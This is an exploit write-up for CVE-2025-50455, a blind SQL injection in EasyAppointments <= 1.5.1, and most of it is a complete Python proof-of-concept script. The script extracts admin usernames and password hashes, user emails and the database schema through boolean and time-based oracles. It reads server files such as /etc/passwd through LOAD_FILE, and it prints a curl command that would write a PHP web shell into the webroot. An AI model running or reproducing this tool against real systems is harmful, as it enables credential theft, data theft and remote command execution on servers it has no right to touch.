EasyAppointments 1.5.1 Blind SQL Injection

# Exploit Title: EasyAppointments  1.5.1 - Blind SQL Injection 
    # Google Dork: N/A (backend login required)
    # Date: 07/27/2026
    # Exploit Author: Michael Chesang
    # Vendor Homepage: https://easyappointments.org
    # Software Link: https://github.com/alextselegidis/easyappointments/releases
    # Version: <= 1.5.1 (REQUIRED)
    # Tested on: Linux (Debian, Docker), MySQL 8.0.46, PHP 8.2.28
    # CVE: CVE-2025-50455
    
    === Description ===
    
    A blind SQL injection vulnerability exists in the order_by parameter of
    the /index.php/customers/search endpoint in EasyAppointments <= 1.5.1.
    The parameter is passed unsanitized to CodeIgniter 3 Query Builder
    order_by(). Parenthesized subqueries bypass backtick escaping via CI3's
    protect_identifiers(), enabling arbitrary SQL injection.
    
    Dual-mode extraction:
    - Boolean (~0.1s/query): (SELECT IF(condition, id, -id)) DESC via JSON order
    - Time-based (~5s/query): 1 ASC, (SELECT IF(condition, SLEEP(5), 0))
    
    === PoC attached: poc_CVE-2025-50455.py ===
    
    Usage:
    python3 poc_CVE-2025-50455.py --url http://target/ \
    --username admin --password secret \
    --mode bool --target version
    
    === References ===
    
    https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w45h-26pc-4gr9
    https://github.com/alextselegidis/easyappointments/commit/0f0d71cfe0692daed9aee59bc424ce2a084fd59e
    https://github.com/threatlance-org/security-advisories/blob/main/CVE-2025-50455/advisory.md
    
    import argparse
    import json
    import re
    import sys
    import time
    
    import requests
    import urllib.parse
    import urllib3
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    BANNER = r"""
      _______  _    ________     ___   ___  ___  ______   _____ ____  __  _ ____
     / ___\ \ / /__|__  / __|   |_  ) / _ \|_  )|__ /__|/ ____| ___||  \| | ___|
    | |__  \ V / -_)/ /| _|      / / | (_) |/ /  |_ \_  \___ \|___ \|     |___ \
     \____|  \_/\___/___|___|    /___| \___//___|____(_)  ____/ ____/|_|\__|____/
    
      CVE-2025-50455 · Blind SQL Injection · EasyAppointments <= 1.5.1
      POST /index.php/{customers,admins,providers,...}/search  →  order_by
      Dual-mode: boolean (~0.1s/q) or time-based (~5s/q)
      Author: Michael Chesang
    """
    
    ENDPOINTS = {
        "customers":          "index.php/customers/search",
        "admins":             "index.php/admins/search",
        "providers":          "index.php/providers/search",
        "services":           "index.php/services/search",
        "service_categories": "index.php/service_categories/search",
        "webhooks":           "index.php/webhooks/search",
        "blocked_periods":    "index.php/blocked_periods/search",
    }
    
    LOGIN_PATH     = "index.php/login"
    VALIDATE_PATH  = "index.php/login/validate"
    SLEEP_SEC      = 5
    SLEEP_TOL      = 1.5
    
    
    def die(msg: str):
        print(msg, file=sys.stderr)
        sys.exit(1)
    
    
    def extract_csrf(html: str) -> str:
        m = re.search(r'"csrf_token"\s*:\s*"([a-f0-9]+)"', html)
        if not m:
            die("[!] Could not extract csrf_token from page.")
        return m.group(1)
    
    
    def login(args) -> requests.Session:
        sess = requests.Session()
        sess.verify = args.verify
    
        r = sess.get(urllib.parse.urljoin(args.url, LOGIN_PATH), timeout=args.timeout)
        if r.status_code not in (200, 302):
            die(f"[!] Cannot reach login page: HTTP {r.status_code}")
    
        csrf_token = extract_csrf(r.text)
    
        r = sess.post(
            urllib.parse.urljoin(args.url, VALIDATE_PATH),
            data={"csrf_token": csrf_token, "username": args.username, "password": args.password},
            timeout=args.timeout,
        )
        if not r.json().get("success"):
            die("[!] Authentication failed – wrong credentials.")
    
        print(f"[+] Authenticated as '{args.username}'")
        return sess
    
    
    def send(sess, args, order_by: str) -> requests.Response:
        search_path = ENDPOINTS.get(args.endpoint, ENDPOINTS["customers"])
        url = urllib.parse.urljoin(args.url, search_path)
        csrf_token = sess.cookies.get("csrf_cookie", "")
        data = {
            "csrf_token": csrf_token,
            "keyword": "",
            "limit": 20,
            "offset": 0,
            "order_by": order_by,
        }
        return sess.post(url, data=data, timeout=args.timeout)
    
    
    def timed_send(sess, args, order_by: str) -> float:
        t0 = time.monotonic()
        send(sess, args, order_by)
        return time.monotonic() - t0
    
    
    def delayed(elapsed: float) -> bool:
        return elapsed >= (SLEEP_SEC - SLEEP_TOL)
    
    
    # ── Boolean Oracle ────────────────────────────────────────────────────────
    
    def find_ref_id(sess, args) -> int:
        """Find the ID of the first row when sorted by id ASC.
        Reference anchor for boolean oracle — stays constant on FALSE.
        Returns -1 if only 1 row (boolean mode unavailable).
        """
        try:
            r = send(sess, args, "id ASC")
            rows = r.json()
            if len(rows) < 2:
                return -1
            return rows[0]["id"]
        except Exception:
            return -1
    
    
    def bool_oracle(sess, args, condition: str, ref_id: int) -> bool:
        """Boolean oracle via ORDER BY manipulation.
        Payload: (SELECT IF(condition, id, -id)) DESC
        TRUE  → first row has id != ref_id (sorted by id DESC)
        FALSE → first row has id == ref_id (sorted by -id DESC == id ASC)
        """
        payload = f"(SELECT IF({condition}, id, -id)) DESC"
        try:
            r = send(sess, args, payload)
            rows = r.json()
            if not rows:
                return False
            return rows[0].get("id", 0) != ref_id
        except Exception:
            return False
    
    
    # ── Time-based Oracle ─────────────────────────────────────────────────────
    
    def time_oracle(sess, args, condition: str) -> bool:
        payload = f"1 ASC, (SELECT IF({condition}, SLEEP({SLEEP_SEC}), 0))"
        return delayed(timed_send(sess, args, payload))
    
    
    # ── Binary-search extraction (shared) ─────────────────────────────────────
    
    def get_length(sess, args, oracle_fn, expr: str, max_len: int = 512) -> int:
        lo, hi = 1, max_len
        while lo < hi:
            mid = (lo + hi) // 2
            if oracle_fn(sess, args, f"LENGTH(({expr})) <= {mid}"):
                hi = mid
            else:
                lo = mid + 1
        return lo
    
    
    def get_char(sess, args, oracle_fn, expr: str, pos: int) -> str:
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            if oracle_fn(sess, args, f"ASCII(SUBSTRING(({expr}),{pos},1)) <= {mid}"):
                hi = mid
            else:
                lo = mid + 1
        return chr(lo) if lo <= 126 else "?"
    
    
    def extract(sess, args, oracle_fn, expr: str, label: str = "", max_len: int = 256) -> str:
        tag = label or expr
        print(f"\n[*] Extracting: {tag}")
        length = get_length(sess, args, oracle_fn, expr, max_len)
        print(f"[*] Length = {length} chars")
        result = ""
        for pos in range(1, length + 1):
            ch = get_char(sess, args, oracle_fn, expr, pos)
            result += ch
            print(f"    [{pos:03d}/{length}]  {result}", end="\r", flush=True)
        print(f"    [{length:03d}/{length}]  {result}   ")
        return result
    
    
    # ── Target expressions ────────────────────────────────────────────────────
    
    TARGETS = {
        "version":           ("@@version",                                                      "MySQL version"),
        "user":              ("USER()",                                                          "DB user"),
        "database":          ("DATABASE()",                                                      "Current database"),
        "datadir":           ("@@datadir",                                                       "Data directory"),
        "hostname":          ("@@hostname",                                                      "Hostname"),
        "secure_file_priv":  ("IFNULL(NULLIF(@@global.secure_file_priv,''),CHAR(78,79,78,69))", "secure_file_priv"),
        "tables":            ("(SELECT GROUP_CONCAT(table_name ORDER BY table_name SEPARATOR ',') FROM information_schema.tables WHERE table_schema=DATABASE())", "All tables"),
        "columns":           ("(SELECT GROUP_CONCAT(column_name ORDER BY column_name SEPARATOR ',') FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='{table}')", "Columns of `{table}`"),
        "admin_creds":       ("(SELECT GROUP_CONCAT(username, CHAR(58), password SEPARATOR '|') FROM ea_user_settings LIMIT 10)", "Usernames + password hashes"),
        "user_emails":       ("(SELECT GROUP_CONCAT(email SEPARATOR ',') FROM ea_users LIMIT 20)", "User e-mail addresses"),
    }
    
    
    # ── Modes ─────────────────────────────────────────────────────────────────
    
    def mode_bool(sess, args):
        """Boolean-based extraction via ORDER BY first-row oracle. Fastest mode."""
        print(f"\n[*] Mode: boolean-based extraction")
        print(f"[*] Endpoint: {args.endpoint}")
    
        ref_id = find_ref_id(sess, args)
        if ref_id < 0:
            print("[!] <2 rows in response — boolean oracle unavailable, use --mode time.")
            return
        print(f"[*] Reference ID (FALSE anchor): {ref_id}")
    
        oracle_fn = lambda s, a, c: bool_oracle(s, a, c, ref_id)
    
        expr_label = TARGETS.get(args.target, TARGETS["version"])
        expr = expr_label[0].format(table=args.table)
        label = expr_label[1].format(table=args.table) if hasattr(expr_label[1], 'format') else expr_label[1]
    
        value = extract(sess, args, oracle_fn, expr, label)
        print(f"\n[+] {label}:  {value}")
    
    
    def mode_time(sess, args):
        print("\n[*] Mode: time-based confirmation")
        print(f"[*] Payload: 1 ASC, (SELECT SLEEP({SLEEP_SEC}))")
        print()
    
        elapsed_vuln = timed_send(sess, args, f"1 ASC, (SELECT SLEEP({SLEEP_SEC}))")
        elapsed_safe = timed_send(sess, args, "update_datetime DESC")
    
        print(f"    Injected (sleep)  → {elapsed_vuln:.2f}s")
        print(f"    Benign (no sleep) → {elapsed_safe:.2f}s")
        print()
    
        if delayed(elapsed_vuln) and not delayed(elapsed_safe):
            print("[+] ✔  VULNERABLE")
        else:
            print("[-] Timing inconclusive – check connectivity/firewall or increase --timeout.")
    
    
    def mode_enum(sess, args):
        """Extract arbitrary data via time-based oracle."""
        expr_label = TARGETS.get(args.target, TARGETS["version"])
        expr = expr_label[0].format(table=args.table)
        label = expr_label[1]
    
        print(f"\n[*] Mode: data enumeration  ({label})")
        value = extract(sess, args, time_oracle, expr, label)
        print(f"\n[+] {label}:  {value}")
    
    
    def mode_schema(sess, args):
        tables_to_probe = [
            "ea_users", "ea_appointments", "ea_services",
            "ea_providers", "ea_settings", "users", "admins",
        ]
        if args.table and args.table not in tables_to_probe:
            tables_to_probe.insert(0, args.table)
    
        print("\n[*] Mode: schema enumeration via IF(EXISTS(…), SLEEP, 0)")
        print(f"[*] Probing tables: {tables_to_probe}")
        print()
    
        found = []
        for tbl in tables_to_probe:
            cond = (f"EXISTS(SELECT 1 FROM information_schema.tables "
                    f"WHERE table_schema=DATABASE() AND table_name='{tbl}')")
            payload = f"1 AND (SELECT IF({cond}, SLEEP({SLEEP_SEC}), 0))"
            print(f"    Testing '{tbl}' …", end=" ", flush=True)
            elapsed = timed_send(sess, args, payload)
            if delayed(elapsed):
                print(f"EXISTS  ({elapsed:.1f}s delay)")
                found.append(tbl)
            else:
                print(f"not found ({elapsed:.1f}s)")
    
        print()
        if found:
            print(f"[+] Confirmed tables: {found}")
        else:
            print("[-] No tested tables confirmed.")
    
    
    def mode_outfile(sess, args):
        outfile  = args.outfile
        readfile = args.readfile
        shell    = '<?php system($_GET["cmd"]); ?>'
    
        print("\n[*] Mode: FILE privilege exploitation")
        print(f"[*] Read target : {readfile}")
        print(f"[*] Write target: {outfile}")
        print()
    
        # Step 1: check secure_file_priv
        print("[*] Step 1 – Enumerating @@global.secure_file_priv …")
        try:
            sfp = extract(
                sess, args, time_oracle,
                "IFNULL(NULLIF(@@global.secure_file_priv,''),'UNRESTRICTED')",
                "secure_file_priv", max_len=128,
            )
            print(f"\n[+] secure_file_priv = {sfp!r}")
            file_priv = "UNRESTRICTED" in sfp or sfp == "" or sfp.upper() != "NULL"
        except Exception:
            print("[!] Could not determine secure_file_priv, assuming restricted.")
            file_priv = False
    
        # Step 2: LOAD_FILE read
        print()
        print("[*] Step 2 – Reading file via LOAD_FILE() sub-query …")
        if not file_priv:
            print("[!] FILE privilege unavailable – skipping read.")
        else:
            file_len = get_length(
                sess, args, time_oracle,
                f"IFNULL(LOAD_FILE('{readfile}'),'')", max_len=65536,
            )
            if file_len == 0:
                print(f"[!] LOAD_FILE('{readfile}') returned NULL – not readable.")
            else:
                print(f"[+] File is readable ({file_len} bytes). Extracting first 512 bytes …")
                content = extract(
                    sess, args, time_oracle,
                    f"IFNULL(LOAD_FILE('{readfile}'),'')",
                    f"LOAD_FILE({readfile})", max_len=min(file_len, 512),
                )
                print(f"\n[+] File content ({readfile}):")
                print("-" * 60)
                print(content)
                print("-" * 60)
    
        # Step 3: stacked-query write (theoretical)
        print()
        print("[*] Step 3 – INTO OUTFILE via stacked queries (theoretical)")
        search_url = urllib.parse.urljoin(args.url, ENDPOINTS[args.endpoint])
        stacked = f"update_datetime DESC; SELECT '{shell}' INTO OUTFILE '{outfile}'-- -"
        print(f"    curl -X POST {search_url} \\")
        print(f"      -b 'ea_session=<your_session>' \\")
        print(f"      -d $'keyword=&limit=20&offset=0&order_by={stacked}'")
    
    
    # ── CLI ───────────────────────────────────────────────────────────────────
    
    def parse_args() -> argparse.Namespace:
        p = argparse.ArgumentParser(
            prog="poc_CVE-2025-50455",
            description="CVE-2025-50455 – EasyAppointments <= 1.5.1 Blind SQLi PoC",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog=__doc__,
        )
        p.add_argument("--url",      required=True,
                       help="Base URL (e.g. http://172.17.0.1/)")
        p.add_argument("--username", required=True, help="Backend username")
        p.add_argument("--password", required=True, help="Backend password")
        p.add_argument(
            "--mode",
            choices=["bool", "time", "schema", "enum", "outfile"],
            default="time",
            help=(
                "bool    – boolean extraction via ORDER BY (fastest, need 2+ rows)\n"
                "time    – time-based SLEEP confirmation   (default)\n"
                "schema  – probe table existence via SLEEP\n"
                "enum    – time-based data extraction\n"
                "outfile – LOAD_FILE() read + write analysis"
            ),
        )
        p.add_argument(
            "--endpoint",
            choices=list(ENDPOINTS.keys()),
            default="customers",
            help="Vulnerable endpoint (default: customers)",
        )
        p.add_argument(
            "--target",
            choices=list(TARGETS.keys()),
            default="version",
            help="(enum/bool mode) what to extract. Default: version",
        )
        p.add_argument("--table", default="ea_users",
                       help="Table name for --target columns / --mode schema")
        p.add_argument("--outfile", default="/var/www/html/shell.php",
                       help="(outfile) Server path for shell")
        p.add_argument("--readfile", default="/etc/passwd",
                       help="(outfile) File to read via LOAD_FILE()")
        p.add_argument("--timeout", type=int, default=30,
                       help="HTTP timeout (default: 30)")
        p.add_argument("--no-verify", dest="verify", action="store_false",
                       default=True, help="Disable TLS verification")
        return p.parse_args()
    
    
    def main():
        print(BANNER)
        args = parse_args()
    
        if not args.url.endswith("/"):
            args.url += "/"
    
        print(f"[*] Target   : {args.url}")
        print(f"[*] Endpoint : {args.endpoint}")
        print(f"[*] Mode     : {args.mode}")
        print(f"[*] Timeout  : {args.timeout}s")
    
        sess = login(args)
    
        dispatch = {
            "bool":    mode_bool,
            "time":    mode_time,
            "schema":  mode_schema,
            "enum":    mode_enum,
            "outfile": mode_outfile,
        }
        dispatch[args.mode](sess, args)
    
    
    if __name__ == "__main__":
        main()